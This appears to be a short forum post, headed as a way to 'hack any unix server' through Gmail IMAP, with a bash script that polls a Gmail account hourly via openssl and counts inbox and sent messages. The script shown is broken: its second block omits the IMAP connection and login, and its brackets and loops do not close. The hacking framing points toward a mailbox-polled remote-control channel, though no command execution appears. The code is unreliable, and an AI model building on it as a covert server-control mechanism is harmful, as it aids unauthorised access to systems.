A way to hack any unix server with internet access via imap gmail

I wrote this script to make a way to read you emails from gmail via BASH:

        #!/bin/bash

        while true;

        do

        sleep 3600;

        TOTAL_MESSAGES="1";

        while (( ${TOTAL_MESSAGES:=0} > 0 ));

        do

        GMAIL_USER="SEU YOUR";

        GMAIL_PW="YOUR PASSWORD";

        AUTH_HASH="YOUR HASH BASE 64";

        SLEEP_TIME=2;

        TOTAL_MESSAGES="$(

        openssl s_client -crlf -connect imap.gmail.com:993 < <(

        sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW";

        sleep ${SLEEP_TIME}; echo "A02 SELECT INBOX";

        sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

        sleep ${SLEEP_TIME}; echo "";

        ) 2>&1 | tr -d "\r" | grep -E "^[*] [0-9]* EXISTS$"| sed "s/^[*] \([0-9]*\) EXISTS.*$/\1/g";

        )";


        TOTAL_MESSAGES_SENDED="$(

        sleep ${SLEEP_TIME}; echo "A02 SELECT \"[Gmail]/E-mails enviados\"";

        sleep ${SLEEP_TIME}; echo "A02 LOGOUT";

        sleep ${SLEEP_TIME}; echo "";

        ) 2>&1 | tr -d "\r" | grep -E "^[*] [0-9]* EXISTS$"| sed "s/^[*] \([0-9]*\) EXISTS.*$/\1/g";
